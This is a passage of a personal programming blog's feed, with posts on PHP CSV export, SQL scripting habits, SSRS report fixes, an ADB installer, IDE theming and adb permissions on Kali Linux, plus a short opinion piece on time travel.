&amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $fp = fopen(“php://output”, “w”);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test = array ();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[0][‘collumn1’] = ‘00’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[0][‘collumn2’] = ‘10’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[0][‘collumn3’] = ‘01’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[1][‘collumn1’] = ‘11’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[1][‘collumn2’] = ‘20’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; $test[1][‘collumn3’] = ‘21’; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;  //insert collumn names&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; fputcsv($fp, array_keys($test[0]));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; //insert data rows&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; for($x=0; $x&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;     fputcsv($fp, $test[$x]);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; fclose($fp);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; exit;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Re-learning Java Spring Part 1</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/01/Re-learning-Java-Spring-Part-1/"/>
   <updated>2016-06-01T09:48:54+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/01/Re-learning-Java-Spring-Part-1</id>
   <content type="html">&lt;p&gt;Relearning Java Spring for next project.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/GB8k2-Egfv0&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/xlWwMSu5I70&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/7c6ZTF6cF88&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/ZxLaEovze3M&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/IOZzxmJVus0&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>on Time Travel</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/04/06/on-Time-Travel/"/>
   <updated>2016-04-06T06:57:47+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/04/06/on-Time-Travel</id>
   <content type="html">&lt;p&gt;Time travel is not possible.&lt;br /&gt;&lt;br /&gt;Hear me out.&lt;br /&gt;&lt;br /&gt;In the natural order of physical life and existence, time does not exist at all. It is we human who created the concept of time to measure the movements. And we divide each day into 24 hours and one hour into 60 minutes and so on. So, actually, “time” does not move at all because it is a abstract creation made by us. So what moves? It is our biological functions that move. Our body grows from one cell into thousands and then millions, from fetus into a baby and then into a toddler, a child, and finally into an adult. It is the same with plants and animals. We, the objects, have moved. And we measure such movement with the abstract concept of time which we have created. &lt;br /&gt;&lt;br /&gt;And you know, a tree or plant can never shrink backwards until it become a seed, nor a human being can have his or her bodily cells reformed backwards until he or she becomes a baby. It is a one way ticket. You SIMPLY CAN’T reverse these process.&lt;br /&gt;&lt;br /&gt;Thus, time travel is not possible.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SQL Good practice in writing scripts for Table and Stored Procedures</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/02/26/SQL-Good-practice-in-writing-scripts-for-Table-and-Stored-Procedures/"/>
   <updated>2016-02-26T11:44:23+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/02/26/[SQL]-Good-practice-in-writing-scripts-for-Table-and-Stored-Procedures</id>
   <content type="html">&lt;p&gt;I learned this from my current project’s team leader, Shaun who is a good programmer himself. His attentive to details is off the chart among those that I know. These are good habits to incorporate into my programming skill, specifically for SQL.&lt;br /&gt;&lt;br /&gt;All the tips below are to ensure that our SQL scripts can be executed at all times and multiple times. These are also to ensure that MOST preconditions are covered so that our script can be executed successfully until the end of the line - instead of stopping halfway due to errors.. Sometimes, we as developer have no control over the deployment of our scripts. Once we handed them over, the IT guys of the clients will run the scripts and chase us when something goes wrong (which happens, all the time!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;For TABLES&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. To create a new table, do not just DROP and CREATE. The best way is to put in the preconditions check, that is to check first IF EXIST (using schema, sys,object or HASH and then DROP. This will avoid stopping the execution of the script due to the table not found - thus can’t be dropped.&lt;br /&gt;&lt;br /&gt;Using sys,objects :&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: courier new, courier, monospace;&quot;&gt;IF EXISTS(SELECT 1 FROM sys.Objects WHERE  Object_id = OBJECT_ID(N’dbo.MY_TABLE’) AND Type = N’U’)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new, courier, monospace;&quot;&gt;BEGIN&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new, courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;PRINT ‘TABLE_EXIST’&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;ENDIF &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-family: &apos;Times New Roman&apos;;&quot;&gt;Using Hash :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-family: &apos;Times New Roman&apos;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;IF DBO.getTableHash(‘MY_TABLE’) = 0xACE31E3C4550DE4B166F01E78A1D86E5&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;DROP TABLE MY_TABLE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. To insert a new data, ensure that ALL PRIMARY KEYS of the rows are checked against before the INSERT command is executed. This is to ensure that we select exactly the data row that we want - the use of Primary Keys distinguishes this!&lt;br /&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;IF NOT EXISTS (SELECT * FROM TABLE1 WHERE COL_PK1=’A1’ AND COL_PK2=’A2’) &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;BEGIN&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;INSERT INTO SET_INITIAL &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;(COL3, COL4)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;VALUES &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;(‘A3’,’A4’)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;END&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;For STORED PROCEDURES (StoProc)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. To alter an existing StoProc or to create a new one, do not use DROP and CREATE. SQL keeps a log &lt;i&gt;somewhere&lt;/i&gt; with regards to the creation and modification of any StoProc. For existing StoProc, DROP and CREATE will not be helpful anymore for the logs because CREATE builds a new StoProc altogether instead of referring to the previously existing one that being dropped. Instead, use the following : Check IF NOT EXIST, then CREATE empty StoProc. Then, followed by ALTER StoProc. In the above script, first part creates an dummy StoProc if the StoProc with the specified name in the specified schema does not exist. This is useful for the initial setup, when you are creating this StoProc in a new environment. The second part alters the StoProc always – whether it’s created in the first step or it existed before. So, every time you need to make some changes in the StoProc, only the ALTER PROCEDURE section (second part) of the above script needs to be modified and entire script can be executed without worrying whether the StoProc already exists or not.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N’[dbo].[SP_MY_ELEGANT_SP]’) AND type in (N’P’, N’PC’))&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt; EXEC(‘CREATE PROCEDURE [dbo].[SP_MY_ELEGANT_SP]  AS SET NOCOUNT ON;’)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-normal;&quot;&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;ALTER PROCEDURE [dbo].[SP_MY_ELEGANT_SP]&lt;br /&gt;…..&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;The usual approach what people follow for modifying StoProc is to check IF EXIST, then DROP it (if exists) and CREATE it back. The following are the drawbacks of using this approach:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Permissions associated with the object, like GRANT EXECUTE etc., are lost when we DROP and CREATE the StoProc.&lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;If ALTER PROCEDURE is used on any prior version in a “maintenance” script, different Script needs to be written to cater for it if the StoProc is already existed.&lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;If DROP PROCEDURE and CREATE PROCEDURE approach is used, then all the permissions previously present on the Stored Procedure need to be given again with the help of necessary additional scripts. &lt;/span&gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Android Fast ADB installer</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/02/22/Android-Fast-ADB-installer/"/>
   <updated>2016-02-22T06:45:06+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/02/22/[Android]-Fast-ADB-installer</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-DBSsq5Z5A1g/Vsqt9LzjCcI/AAAAAAAABT8/b0wHBuVdWjI/s1600/how-to-install-adb-driver.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://2.bp.blogspot.com/-DBSsq5Z5A1g/Vsqt9LzjCcI/AAAAAAAABT8/b0wHBuVdWjI/s400/how-to-install-adb-driver.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;If you need just the adb tool for debugging your mobile app, but you don’t need the whole big size SDK, use this tool : Download &lt;b&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B95Qjfn3s5vkaEdGMUZxLTlrT2c/view?usp=sharing&quot;&gt;15 seconds ADB Installer v1.3&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;br /&gt;Small - 9.18 MB&lt;br /&gt;Fast - 15 seconds install&lt;br /&gt;Include - ADB, Fastboot and also Drivers&lt;br /&gt;Easy to install - just run it and program will guide you&lt;br /&gt;Clean - ADB and Google Drivers from latest SDK&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Install process:&lt;/b&gt;&lt;br /&gt;1. Run it with administrator privileges&lt;br /&gt;2. Press Y/Yes to install ADB and Fastboot or N/No to skip&lt;br /&gt;3. Press Y/Yes to install ADB system-wide or N/No for current user only&lt;br /&gt;4. Press Y/Yes to install Drivers or N/No to skip&lt;br /&gt;5. Continue Driver installation&lt;br /&gt;6. 15 seconds passed - finished!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Notes:&lt;/b&gt;&lt;br /&gt;System-wide: ADB and Fastboot are installed to %SystemDrive%\adb directory, and added system-wide path.&lt;br /&gt;Current user only: ADB and Fastboot are installed to %UserProfile%\adb directory, and added path for current user.&lt;br /&gt;CMD can use ADB and Fastboot from any directory.&lt;br /&gt;Drivers are installed to system - no need to install them from directories.&lt;br /&gt;Installer automaticly decides if install 32-bit or 64-bit drivers.&lt;br /&gt;If you have problem with driver enumeration in Windows 8.1 install update KB2917929&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SSRS Missing URL parameter - IterationId</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/02/19/SSRS-Missing-URL-parameter-IterationId/"/>
   <updated>2016-02-19T07:06:31+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/02/19/[SSRS]-Missing-URL-parameter-IterationId</id>
   <content type="html">&lt;p&gt;Your SSRS report previewed well on Visual Studio but when publishing it, you were prompted with the following error:&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Error caught in Application_Error event:&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Microsoft.Reporting.WebForms.HttpHandlerInputException: Missing URL parameter: IterationId&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To go around this, add your site to “Compatibility View Setting” of your Internet Explorer and voila!&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/-hhhaDgzY6ag/VsaIaT4ud8I/AAAAAAAABTk/_P_4k9nlafo/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://4.bp.blogspot.com/-hhhaDgzY6ag/VsaIaT4ud8I/AAAAAAAABTk/_P_4k9nlafo/s320/1.png&quot; width=&quot;247&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-y_KWUmdeelk/VsaIoEP-NSI/AAAAAAAABTo/ewUiZNzZZ_w/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://1.bp.blogspot.com/-y_KWUmdeelk/VsaIoEP-NSI/AAAAAAAABTo/ewUiZNzZZ_w/s320/2.png&quot; width=&quot;267&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SSRS Clear Report Data Cache easily</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/02/05/SSRS-Clear-Report-Data-Cache-easily/"/>
   <updated>2016-02-05T08:17:47+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/02/05/[SSRS]-Clear-Report-Data-Cache-easily</id>
   <content type="html">&lt;p&gt;Some changes on your SSRS report weren’t being reflected when you run it, especially when you made changes on the SP. &lt;br /&gt;&lt;br /&gt;Why? SSRS kept a data cache file of the report when you first ran it. By running the report again, &lt;i&gt;sometimes&lt;/i&gt; SSRS only retrieves the data cache file instead of actually running the report entirely again. I think this is only the case when you made changes structurally (getting new data column, maybe?) on your SP.&lt;br /&gt;&lt;br /&gt;Let’s create a shortcut to remove these files :&lt;br /&gt;&lt;br /&gt;Go to Tools &amp;gt; External Tools&lt;br /&gt;&lt;br /&gt;Add a new tool with the following settings:&lt;br /&gt;&lt;br /&gt;      Title: Clear Report Data Cache&lt;br /&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;      Command: “%WinDir%\System32\cmd.exe”       Arguments: /C DEL /S /Q “$(SolutionDir)*.rdl.data”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;/span&gt;Check options: Use Output window &amp;amp; Close on exit&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-8Epwtmr6Uhw/VrQhUGOhMJI/AAAAAAAABS8/7If5PR8snVo/s1600/111.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;386&quot; src=&quot;https://3.bp.blogspot.com/-8Epwtmr6Uhw/VrQhUGOhMJI/AAAAAAAABS8/7If5PR8snVo/s400/111.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;Now you can run it. Just to Tools &amp;gt; Clear Report Data Cache &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-dS-pV9yjgIw/VrQh0HSWEII/AAAAAAAABTE/jcmZMhRd5kE/s1600/111.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;https://1.bp.blogspot.com/-dS-pV9yjgIw/VrQh0HSWEII/AAAAAAAABTE/jcmZMhRd5kE/s400/111.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;You can check the output window&amp;lt;/div&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/--57qX2lqLv4/VrQiHaaWxJI/AAAAAAAABTQ/ueuH9HHWI30/s1600/111.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;88&quot; src=&quot;https://2.bp.blogspot.com/--57qX2lqLv4/VrQiHaaWxJI/AAAAAAAABTQ/ueuH9HHWI30/s640/111.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Credit &lt;a href=&quot;http://jasonfaulkner.com/&quot;&gt;&lt;b&gt;Jason Faulkner&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Secret History of Hacking</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/03/22/The-Secret-History-of-Hacking/"/>
   <updated>2015-03-22T13:13:28+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/03/22/The-Secret-History-of-Hacking</id>
   <content type="html">&lt;p&gt;I bumped onto this during dinner. It is a good one to watch.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/PUf1d-GuK0Q&quot; width=&quot;420&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Sublime Text 2 Monokai Theme on Android Studio</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/03/21/Sublime-Text-2-Monokai-Theme-on-Android-Studio/"/>
   <updated>2015-03-21T12:39:04+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/03/21/Sublime-Text-2-Monokai-Theme-on-Android-Studio</id>
   <content type="html">&lt;p&gt;I had it changed on Windows, so I figured I’d have it change here on Kali Linux too. Here are the steps:&lt;br /&gt;&lt;br /&gt;Download the Sublime Monokai Theme (.zip)&lt;br /&gt;        from https://github.com/y3sh/Intellij-Colors-Sublime-Monokai&lt;br /&gt;&lt;br /&gt;Import the downloaded file. File -&amp;gt; import settings -&amp;gt; and select the Monokai-Sublime.jar&lt;br /&gt;&lt;br /&gt;Change to the Darcula theme at Settings - Appearance&lt;br /&gt;&lt;br /&gt;Select SublimeMonokai scheme for font at Settings - Editor - Colors and Fonts&lt;br /&gt;&lt;br /&gt;Select the Consolas Font at Settings - Editor - Colors and Fonts - Font and set the font size to 15&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is how it looks:&lt;br /&gt;&lt;br /&gt;&lt;img height=&quot;328&quot; src=&quot;https://d262ilb51hltx0.cloudfront.net/max/800/1*zw2Uvn0azDl9nBR6v_Nygw.png&quot; width=&quot;640&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>adb issues on Kali Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/03/21/adb-issues-on-Kali-Linux/"/>
   <updated>2015-03-21T12:09:58+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/03/21/adb-issues-on-Kali-Linux</id>
   <content type="html">&lt;p&gt;I’ve setup Kali Linux on my laptop for a while, trying to get used to the whole Linux environment.&lt;br /&gt;No more windows.&lt;br /&gt;&lt;br /&gt;After re-installing Android Studio, I wanted to get to work quickly and try to fire up a hello world app. &lt;br /&gt;However, when I plugged in my Lenovo, it was not detected automatically. Running adb devices gives me this:&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;List of devices attached&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;????????????    no permissions&lt;br /&gt;&lt;br /&gt;Luckily found a fix.&lt;br /&gt;&lt;br /&gt;This is what I did. I created a file named /tmp/android.rules with the following contents:&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0bb4”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0e79”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: 